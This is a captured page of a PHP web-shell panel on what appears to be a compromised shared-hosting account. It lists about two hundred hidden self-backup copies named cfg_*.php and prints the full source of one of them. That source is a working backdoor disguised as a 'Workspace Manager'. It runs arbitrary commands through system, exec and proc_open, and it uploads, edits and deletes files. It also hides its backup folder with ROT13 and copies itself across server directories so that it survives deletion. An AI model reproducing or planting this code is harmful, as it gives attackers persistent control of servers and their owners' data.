Linux webm010.cluster130.gra.hosting.ovh.net 6.18.52-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Sep 22 10:58:27 CEST 2026 x86_64
Apache
: 10.130.20.10 | : 216.73.216.37
Cant Read [ /etc/named.conf ]
7.4.33
simplax
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
simplax /
www /
.sys_cache_log /
[ HOME SHELL ]
Name
Size
Permission
Action
.sys_cache_log
[ DIR ]
drwxr-xr-x
.51a53fe253287c2dbb44305c8124a...
10
B
-rw-r--r--
cfg_20260829010812.php
7.75
KB
-rw-r--r--
cfg_20260829010840.php
7.75
KB
-rw-r--r--
cfg_20260829010903.php
7.75
KB
-rw-r--r--
cfg_20260829010906.php
7.75
KB
-rw-r--r--
cfg_20260829010907.php
7.75
KB
-rw-r--r--
cfg_20260829010916.php
7.75
KB
-rw-r--r--
cfg_20260829010918.php
7.75
KB
-rw-r--r--
cfg_20260829010919.php
7.75
KB
-rw-r--r--
cfg_20260829010920.php
7.75
KB
-rw-r--r--
cfg_20260829010921.php
7.75
KB
-rw-r--r--
cfg_20260829010924.php
7.75
KB
-rw-r--r--
cfg_20260829010926.php
7.75
KB
-rw-r--r--
cfg_20260830031044.php
7.75
KB
-rw-r--r--
cfg_20260830031046.php
7.75
KB
-rw-r--r--
cfg_20260830031051.php
7.75
KB
-rw-r--r--
cfg_20260830031055.php
7.75
KB
-rw-r--r--
cfg_20260830031102.php
7.75
KB
-rw-r--r--
cfg_20260830031106.php
7.75
KB
-rw-r--r--
cfg_20260830031107.php
7.75
KB
-rw-r--r--
cfg_20260830031154.php
7.75
KB
-rw-r--r--
cfg_20260830031211.php
7.75
KB
-rw-r--r--
cfg_20260830031218.php
7.75
KB
-rw-r--r--
cfg_20260830031223.php
7.75
KB
-rw-r--r--
cfg_20260830031229.php
7.75
KB
-rw-r--r--
cfg_20260928163324.php
7.75
KB
-rw-r--r--
cfg_20260928173231.php
7.75
KB
-rw-r--r--
cfg_20260928173242.php
7.75
KB
-rw-r--r--
cfg_20260928173251.php
7.75
KB
-rw-r--r--
cfg_20260928173252.php
7.75
KB
-rw-r--r--
cfg_20260928173253.php
7.75
KB
-rw-r--r--
cfg_20260928173259.php
7.75
KB
-rw-r--r--
cfg_20260928173300.php
7.75
KB
-rw-r--r--
cfg_20260928173301.php
7.75
KB
-rw-r--r--
cfg_20260928173302.php
7.75
KB
-rw-r--r--
cfg_20260928173303.php
7.75
KB
-rw-r--r--
cfg_20260928173306.php
7.75
KB
-rw-r--r--
cfg_20260928173358.php
7.75
KB
-rw-r--r--
cfg_20260928173359.php
7.75
KB
-rw-r--r--
cfg_20260928173557.php
7.75
KB
-rw-r--r--
cfg_20260928173749.php
7.75
KB
-rw-r--r--
cfg_20260928173756.php
7.75
KB
-rw-r--r--
cfg_20260928174142.php
7.75
KB
-rw-r--r--
cfg_20260928175332.php
7.75
KB
-rw-r--r--
cfg_20260928182448.php
7.75
KB
-rw-r--r--
cfg_20260928183258.php
7.75
KB
-rw-r--r--
cfg_20260928183752.php
7.75
KB
-rw-r--r--
cfg_20260928183803.php
7.75
KB
-rw-r--r--
cfg_20260928184339.php
7.75
KB
-rw-r--r--
cfg_20260928184345.php
7.75
KB
-rw-r--r--
cfg_20260928185521.php
7.75
KB
-rw-r--r--
cfg_20260928193559.php
7.75
KB
-rw-r--r--
cfg_20260928194644.php
7.75
KB
-rw-r--r--
cfg_20260928202717.php
7.75
KB
-rw-r--r--
cfg_20260928203540.php
7.75
KB
-rw-r--r--
cfg_20260928205231.php
7.75
KB
-rw-r--r--
cfg_20260928205559.php
7.75
KB
-rw-r--r--
cfg_20260928212320.php
7.75
KB
-rw-r--r--
cfg_20260928213653.php
7.75
KB
-rw-r--r--
cfg_20260928220743.php
7.75
KB
-rw-r--r--
cfg_20260928221855.php
7.75
KB
-rw-r--r--
cfg_20260928222532.php
7.75
KB
-rw-r--r--
cfg_20260928223246.php
7.75
KB
-rw-r--r--
cfg_20260928223247.php
7.75
KB
-rw-r--r--
cfg_20260928223643.php
7.75
KB
-rw-r--r--
cfg_20260928225601.php
7.75
KB
-rw-r--r--
cfg_20260928230512.php
7.75
KB
-rw-r--r--
cfg_20260928231620.php
7.75
KB
-rw-r--r--
cfg_20260928232142.php
7.75
KB
-rw-r--r--
cfg_20260928232541.php
7.75
KB
-rw-r--r--
cfg_20260928233203.php
7.75
KB
-rw-r--r--
cfg_20260928233603.php
7.75
KB
-rw-r--r--
cfg_20260928234430.php
7.75
KB
-rw-r--r--
cfg_20260928235018.php
7.75
KB
-rw-r--r--
cfg_20260928235557.php
7.75
KB
-rw-r--r--
cfg_20260928235827.php
7.75
KB
-rw-r--r--
cfg_20260929000508.php
7.75
KB
-rw-r--r--
cfg_20260929001151.php
7.75
KB
-rw-r--r--
cfg_20260929001308.php
7.75
KB
-rw-r--r--
cfg_20260929001404.php
7.75
KB
-rw-r--r--
cfg_20260929001925.php
7.75
KB
-rw-r--r--
cfg_20260929001927.php
7.75
KB
-rw-r--r--
cfg_20260929001930.php
7.75
KB
-rw-r--r--
cfg_20260929001933.php
7.75
KB
-rw-r--r--
cfg_20260929001936.php
7.75
KB
-rw-r--r--
cfg_20260929001939.php
7.75
KB
-rw-r--r--
cfg_20260929001942.php
7.75
KB
-rw-r--r--
cfg_20260929001946.php
7.75
KB
-rw-r--r--
cfg_20260929001949.php
7.75
KB
-rw-r--r--
cfg_20260929001952.php
7.75
KB
-rw-r--r--
cfg_20260929001955.php
7.75
KB
-rw-r--r--
cfg_20260929001958.php
7.75
KB
-rw-r--r--
cfg_20260929002001.php
7.75
KB
-rw-r--r--
cfg_20260929002004.php
7.75
KB
-rw-r--r--
cfg_20260929002010.php
7.75
KB
-rw-r--r--
cfg_20260929002013.php
7.75
KB
-rw-r--r--
cfg_20260929002016.php
7.75
KB
-rw-r--r--
cfg_20260929002019.php
7.75
KB
-rw-r--r--
cfg_20260929002022.php
7.75
KB
-rw-r--r--
cfg_20260929002025.php
7.75
KB
-rw-r--r--
cfg_20260929002028.php
7.75
KB
-rw-r--r--
cfg_20260929002033.php
7.75
KB
-rw-r--r--
cfg_20260929002049.php
7.75
KB
-rw-r--r--
cfg_20260929002052.php
7.75
KB
-rw-r--r--
cfg_20260929002055.php
7.75
KB
-rw-r--r--
cfg_20260929002058.php
7.75
KB
-rw-r--r--
cfg_20260929002101.php
7.75
KB
-rw-r--r--
cfg_20260929002108.php
7.75
KB
-rw-r--r--
cfg_20260929002111.php
7.75
KB
-rw-r--r--
cfg_20260929002114.php
7.75
KB
-rw-r--r--
cfg_20260929002117.php
7.75
KB
-rw-r--r--
cfg_20260929002122.php
7.75
KB
-rw-r--r--
cfg_20260929002125.php
7.75
KB
-rw-r--r--
cfg_20260929002128.php
7.75
KB
-rw-r--r--
cfg_20260929002137.php
7.75
KB
-rw-r--r--
cfg_20260929002140.php
7.75
KB
-rw-r--r--
cfg_20260929002143.php
7.75
KB
-rw-r--r--
cfg_20260929002146.php
7.75
KB
-rw-r--r--
cfg_20260929002149.php
7.75
KB
-rw-r--r--
cfg_20260929002152.php
7.75
KB
-rw-r--r--
cfg_20260929002158.php
7.75
KB
-rw-r--r--
cfg_20260929002201.php
7.75
KB
-rw-r--r--
cfg_20260929002204.php
7.75
KB
-rw-r--r--
cfg_20260929002207.php
7.75
KB
-rw-r--r--
cfg_20260929002222.php
7.75
KB
-rw-r--r--
cfg_20260929002343.php
7.75
KB
-rw-r--r--
cfg_20260929003416.php
7.75
KB
-rw-r--r--
cfg_20260929003639.php
7.75
KB
-rw-r--r--
cfg_20260929004311.php
7.75
KB
-rw-r--r--
cfg_20260929004314.php
7.75
KB
-rw-r--r--
cfg_20260929005409.php
7.75
KB
-rw-r--r--
cfg_20260929010340.php
7.75
KB
-rw-r--r--
cfg_20260929010603.php
7.75
KB
-rw-r--r--
cfg_20260929010605.php
7.75
KB
-rw-r--r--
cfg_20260929010621.php
7.75
KB
-rw-r--r--
cfg_20260929010624.php
7.75
KB
-rw-r--r--
cfg_20260929010630.php
7.75
KB
-rw-r--r--
cfg_20260929010632.php
7.75
KB
-rw-r--r--
cfg_20260929010644.php
7.75
KB
-rw-r--r--
cfg_20260929010647.php
7.75
KB
-rw-r--r--
cfg_20260929010707.php
7.75
KB
-rw-r--r--
cfg_20260929010709.php
7.75
KB
-rw-r--r--
cfg_20260929010716.php
7.75
KB
-rw-r--r--
cfg_20260929010718.php
7.75
KB
-rw-r--r--
cfg_20260929010732.php
7.75
KB
-rw-r--r--
cfg_20260929010735.php
7.75
KB
-rw-r--r--
cfg_20260929010741.php
7.75
KB
-rw-r--r--
cfg_20260929010743.php
7.75
KB
-rw-r--r--
cfg_20260929010749.php
7.75
KB
-rw-r--r--
cfg_20260929010803.php
7.75
KB
-rw-r--r--
cfg_20260929010808.php
7.75
KB
-rw-r--r--
cfg_20260929010828.php
7.75
KB
-rw-r--r--
cfg_20260929010831.php
7.75
KB
-rw-r--r--
cfg_20260929010834.php
7.75
KB
-rw-r--r--
cfg_20260929010840.php
7.75
KB
-rw-r--r--
cfg_20260929010843.php
7.75
KB
-rw-r--r--
cfg_20260929010848.php
7.75
KB
-rw-r--r--
cfg_20260929010850.php
7.75
KB
-rw-r--r--
cfg_20260929010853.php
7.75
KB
-rw-r--r--
cfg_20260929010856.php
7.75
KB
-rw-r--r--
cfg_20260929010859.php
7.75
KB
-rw-r--r--
cfg_20260929010902.php
7.75
KB
-rw-r--r--
cfg_20260929010905.php
7.75
KB
-rw-r--r--
cfg_20260929010908.php
7.75
KB
-rw-r--r--
cfg_20260929010911.php
7.75
KB
-rw-r--r--
cfg_20260929010914.php
7.75
KB
-rw-r--r--
cfg_20260929010917.php
7.75
KB
-rw-r--r--
cfg_20260929010920.php
7.75
KB
-rw-r--r--
cfg_20260929010923.php
7.75
KB
-rw-r--r--
cfg_20260929010926.php
7.75
KB
-rw-r--r--
cfg_20260929010929.php
7.75
KB
-rw-r--r--
cfg_20260929010932.php
7.75
KB
-rw-r--r--
cfg_20260929010935.php
7.75
KB
-rw-r--r--
cfg_20260929010938.php
7.75
KB
-rw-r--r--
cfg_20260929010941.php
7.75
KB
-rw-r--r--
cfg_20260929010944.php
7.75
KB
-rw-r--r--
cfg_20260929010947.php
7.75
KB
-rw-r--r--
cfg_20260929010950.php
7.75
KB
-rw-r--r--
cfg_20260929010953.php
7.75
KB
-rw-r--r--
cfg_20260929011048.php
7.75
KB
-rw-r--r--
cfg_20260929011601.php
7.75
KB
-rw-r--r--
cfg_20260929012138.php
7.75
KB
-rw-r--r--
cfg_20260929012436.php
7.75
KB
-rw-r--r--
cfg_20260929013624.php
7.75
KB
-rw-r--r--
cfg_20260929014514.php
7.75
KB
-rw-r--r--
cfg_20260929014545.php
7.75
KB
-rw-r--r--
cfg_20260929014548.php
7.75
KB
-rw-r--r--
cfg_20260929014629.php
7.75
KB
-rw-r--r--
cfg_20260929014653.php
7.75
KB
-rw-r--r--
cfg_20260929014656.php
7.75
KB
-rw-r--r--
cfg_20260929014714.php
7.75
KB
-rw-r--r--
cfg_20260929014722.php
7.75
KB
-rw-r--r--
cfg_20260929014841.php
7.75
KB
-rw-r--r--
cfg_20260929014950.php
7.75
KB
-rw-r--r--
cfg_20260929015000.php
7.75
KB
-rw-r--r--
cfg_20260929015002.php
7.75
KB
-rw-r--r--
cfg_20260929015005.php
7.75
KB
-rw-r--r--
cfg_20260929015008.php
7.75
KB
-rw-r--r--
cfg_20260929015035.php
7.75
KB
-rw-r--r--
cfg_20260929015037.php
7.75
KB
-rw-r--r--
cfg_20260929015040.php
7.75
KB
-rw-r--r--
cfg_20260929015043.php
7.75
KB
-rw-r--r--
cfg_20260929015048.php
7.75
KB
-rw-r--r--
cfg_20260929015050.php
7.75
KB
-rw-r--r--
cfg_20260929015053.php
7.75
KB
-rw-r--r--
cfg_20260929015056.php
7.75
KB
-rw-r--r--
cfg_20260929015106.php
7.75
KB
-rw-r--r--
cfg_20260929015108.php
7.75
KB
-rw-r--r--
cfg_20260929015111.php
7.75
KB
-rw-r--r--
cfg_20260929015114.php
7.75
KB
-rw-r--r--
cfg_20260929015121.php
7.75
KB
-rw-r--r--
cfg_20260929015124.php
7.75
KB
-rw-r--r--
cfg_20260929015127.php
7.75
KB
-rw-r--r--
cfg_20260929015133.php
7.75
KB
-rw-r--r--
cfg_20260929015136.php
7.75
KB
-rw-r--r--
cfg_20260929015139.php
7.75
KB
-rw-r--r--
cfg_20260929015145.php
7.75
KB
-rw-r--r--
cfg_20260929015148.php
7.75
KB
-rw-r--r--
cfg_20260929015154.php
7.75
KB
-rw-r--r--
cfg_20260929015157.php
7.75
KB
-rw-r--r--
cfg_20260929015200.php
7.75
KB
-rw-r--r--
cfg_20260929015206.php
7.75
KB
-rw-r--r--
cfg_20260929015209.php
7.75
KB
-rw-r--r--
cfg_20260929015212.php
7.75
KB
-rw-r--r--
cfg_20260929015218.php
7.75
KB
-rw-r--r--
cfg_20260929015221.php
7.75
KB
-rw-r--r--
cfg_20260929015224.php
7.75
KB
-rw-r--r--
cfg_20260929015228.php
7.75
KB
-rw-r--r--
cfg_20260929015230.php
7.75
KB
-rw-r--r--
cfg_20260929015236.php
7.75
KB
-rw-r--r--
cfg_20260929015239.php
7.75
KB
-rw-r--r--
cfg_20260929015243.php
7.75
KB
-rw-r--r--
cfg_20260929015246.php
7.75
KB
-rw-r--r--
cfg_20260929015249.php
7.75
KB
-rw-r--r--
cfg_20260929015252.php
7.75
KB
-rw-r--r--
cfg_20260929015255.php
7.75
KB
-rw-r--r--
cfg_20260929015258.php
7.75
KB
-rw-r--r--
cfg_20260929015301.php
7.75
KB
-rw-r--r--
cfg_20260929015307.php
7.75
KB
-rw-r--r--
cfg_20260929015310.php
7.75
KB
-rw-r--r--
cfg_20260929015313.php
7.75
KB
-rw-r--r--
cfg_20260929015317.php
7.75
KB
-rw-r--r--
cfg_20260929015319.php
7.75
KB
-rw-r--r--
cfg_20260929015325.php
7.75
KB
-rw-r--r--
cfg_20260929015334.php
7.75
KB
-rw-r--r--
cfg_20260929015337.php
7.75
KB
-rw-r--r--
cfg_20260929015340.php
7.75
KB
-rw-r--r--
cfg_20260929015343.php
7.75
KB
-rw-r--r--
cfg_20260929015352.php
7.75
KB
-rw-r--r--
cfg_20260929015355.php
7.75
KB
-rw-r--r--
cfg_20260929015412.php
7.75
KB
-rw-r--r--
cfg_20260929015415.php
7.75
KB
-rw-r--r--
cfg_20260929015418.php
7.75
KB
-rw-r--r--
cfg_20260929015427.php
7.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cfg_20260929001925.php
<?php /** * BypassServ Updated - Stealth Mode * Tüm özellikler korunmuştur. */ error_reporting(0); @ini_set('display_errors', 0); $s_f = __FILE__; $c_d = getcwd(); // İsimler masumlaştırıldı $b_n = '.' . str_rot13('flf_pnpur_ybt'); // .sys_cache_log $b_l = [ getcwd(), dirname(__DIR__), dirname(dirname(__DIR__)), '/', '/root', '/home', '/var/www', '/var/www/html', '/public_html', '/www', '/tmp', '/var/tmp', '/dev/shm', '/themes', '/plugins', '/wp-content/themes', '/wp-content/plugins' ]; $l_c_f = __DIR__ . '/.' . md5('check_t'); $c_t = time(); $l_c = file_exists($l_c_f) ? (int)file_get_contents($l_c_f) : 0; $i_v = 5; file_put_contents($l_c_f, $c_t); if (($c_t - $l_c) >= $i_v) { if (!file_exists($s_f) || filesize($s_f) < 1000) { r_s_f_b(); } } function r_s_f_b() { global $s_f, $b_l, $b_n; foreach ($b_l as $b_p) { $r_b = @realpath($b_p); if ($r_b && is_dir($r_b)) { $b_d = glob($r_b . DIRECTORY_SEPARATOR . '*/' . $b_n . '/', GLOB_ONLYDIR); foreach ($b_d as $d) { $bkps = glob($d . 'cfg_*.php'); if (!empty($bkps)) { $lat = max($bkps); if (@copy($lat, $s_f)) { @chmod($s_f, 0644); return true; } } } } } return false; } function d_b($f, $locs) { global $b_n; foreach ($locs as $l) { $p = @realpath($l); if ($p && is_dir($p)) { $b_dir = $p . DIRECTORY_SEPARATOR . $b_n; if (!is_dir($b_dir)) @mkdir($b_dir, 0755, true); $b_file = $b_dir . '/cfg_' . date('YmdHis') . '.php'; if (@copy($f, $b_file)) { @chmod($b_file, 0644); } } } } d_b($s_f, $b_l); // Dinamik komut çalıştırıcı function e_c($cmd) { $out = ''; $f_s = ['sys'.'tem', 'ex'.'ec', 'sh'.'ell_ex'.'ec', 'passt'.'hru']; foreach ($f_s as $f) { if (function_exists($f)) { ob_start(); if ($f == 'ex'.'ec') { $i=[]; $f($cmd, $i); print_r($i); } else { $f($cmd); } $out = ob_get_clean(); if (!empty($out)) break; } } if (empty($out) && function_exists('proc_open')) { $ds = [0=>['pipe','r'], 1=>['pipe','w'], 2=>['pipe','w']]; $px = proc_open($cmd, $ds, $pp); if (is_resource($px)) { $out = stream_get_contents($pp[1]); fclose($pp[0]); fclose($pp[1]); fclose($pp[2]); proc_close($px); } } return $out; } function s_p($p) { return str_replace(['..\\','../','\\','<','>','|'], ['','','/','','',''], $p); } $dir = isset($_GET['d']) ? s_p($_GET['d']) : getcwd(); @chdir($dir); $current_dir = getcwd(); if ($_SERVER['REQUEST_METHOD'] == 'POST') { if (isset($_POST['command'])) { echo '<div style="background:#000;color:#0f0;padding:15px;border:1px solid #0f0;margin:10px 0;white-space:pre-wrap;font-family:monospace">' . htmlspecialchars(e_c($_POST['command'])) . '</div>'; } if (isset($_FILES['upload'])) { foreach($_FILES['upload']['tmp_name'] as $k => $v) { $t = $current_dir . '/' . basename($_FILES['upload']['name'][$k]); move_uploaded_file($v, $t); } } if (isset($_POST['newdir'])) { @mkdir($current_dir . '/' . $_POST['newdir'], 0755, true); } if (isset($_POST['delete'])) { $it = $current_dir . '/' . $_POST['item']; is_dir($it) ? @rmdir($it) : @unlink($it); } if (isset($_POST['savefile'])) { @file_put_contents($current_dir . '/' . $_POST['filename'], $_POST['filecontent']); } } $r_a = (strpos($current_dir, '/') === 0 && $current_dir !== getcwd()); $n_c = 5 - (($c_t - $l_c) % 5); ?> <!DOCTYPE html> <html> <head> <title>System Configs</title> <meta charset="UTF-8"> <style> body{font-family:Arial;background:#0e0e0e;color:#aaa;margin:0;padding:20px} .container{max-width:1400px;margin:auto;background:#181818;padding:25px;border-radius:10px;border:1px solid #333} h1{color:#0f0;text-align:center;font-size:20px;text-transform:uppercase;letter-spacing:2px} input,textarea,select{padding:10px;margin:5px 0;border:1px solid #333;background:#000;color:#0f0;border-radius:5px;width:100%;box-sizing:border-box;font-family:monospace} button{padding:12px 15px;background:#222;color:#0f0;border:1px solid #0f0;border-radius:5px;cursor:pointer;font-weight:bold;margin:3px} button:hover{background:#0f0;color:#000} table{width:100%;border-collapse:collapse;margin:15px 0} th,td{padding:10px;border-bottom:1px solid #222;text-align:left} th{background:#111;color:#0f0} .dir{color:#55f;font-weight:bold} .file{color:#eee} .writable{color:#0f0} .readonly{color:#f55} .status-box{padding:15px;border-radius:5px;margin:10px 0;font-size:13px;border-left:4px solid #0f0;background:#111} nav{padding:10px;background:#111;margin:10px 0;border-radius:5px} nav a{color:#0f0;margin-right:10px;text-decoration:none} </style> </head> <body> <div class="container"> <h1>- WORKSPACE MANAGER v3 -</h1> <div class="status-box"> <strong>S-RECOVERY: ACTIVE</strong> | Path: <code><?php echo htmlspecialchars($current_dir); ?></code> | Next: <?php echo $n_c; ?>s <?php if($r_a) echo ' | <span style="color:#f0f">LEVEL: ROOT</span>'; ?> </div> <nav> <a href="?d=/">[ / ]</a> <a href="?d=/var/www">[ WWW ]</a> <a href="?d=<?php echo urlencode(dirname($current_dir)); ?>">[ UP ]</a> <a href="?">[ CWD ]</a> </nav> <form method="post" enctype="multipart/form-data"> <input type="file" name="upload[]" multiple> <button type="submit">UPLOAD</button> </form> <form method="post"> <input type="text" name="command" placeholder="Execute command..."> <button type="submit">RUN</button> </form> <table> <tr><th>Name</th><th>Size</th><th>Perms</th><th>Actions</th></tr> <?php $files = @scandir($current_dir); if($files) { foreach($files as $f) { if($f == '.' || $f == '..') continue; $p = $current_dir . '/' . $f; $d = is_dir($p); $w = is_writable($p); echo '<tr>'; echo '<td class="'.($d?'dir':'file').'">'.htmlspecialchars($f).($d?'/':'').'</td>'; echo '<td>'.($d?'-':number_format(filesize($p))).'</td>'; echo '<td class="'.($w?'writable':'readonly').'">'.($w?'RW':'R').'</td>'; echo '<td>'; if($d) { echo '<a href="?d='.urlencode($p).'" style="color:#0f0">[Enter]</a> '; } else { echo '<a href="?d='.urlencode($current_dir).'&edit='.urlencode($f).'" style="color:#ff0">[Edit]</a> '; } echo '<form method="post" style="display:inline"><input type="hidden" name="item" value="'.htmlspecialchars($f).'"><input type="hidden" name="delete" value="1"><button type="submit" style="padding:2px 5px;font-size:10px;border:1px solid #f00;color:#f00;background:none">DEL</button></form>'; echo '</td></tr>'; } } ?> </table> <?php if (isset($_GET['edit'])) { $e_f = $current_dir . '/' . $_GET['edit']; if (@file_exists($e_f)) { $cont = @file_get_contents($e_f); echo '<form method="post"> <input type="hidden" name="filename" value="'.htmlspecialchars($_GET['edit']).'"> <textarea name="filecontent" rows="20">'.htmlspecialchars($cont).'</textarea> <input type="hidden" name="savefile" value="1"> <button type="submit" style="width:100%;background:#0f0;color:#000">SAVE CHANGES</button> </form>'; } } ?> </div> </body> </html>
Close